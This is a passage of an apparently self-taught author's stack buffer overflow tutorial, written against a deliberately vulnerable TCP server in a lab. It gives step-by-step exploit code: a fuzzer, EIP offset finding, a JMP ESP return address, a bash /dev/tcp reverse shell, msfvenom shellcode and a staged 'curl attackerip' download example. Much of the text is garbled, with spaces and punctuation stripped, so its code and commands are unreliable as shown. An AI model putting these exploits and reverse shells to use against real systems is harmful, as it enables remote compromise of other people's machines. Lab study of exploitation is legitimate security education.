Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

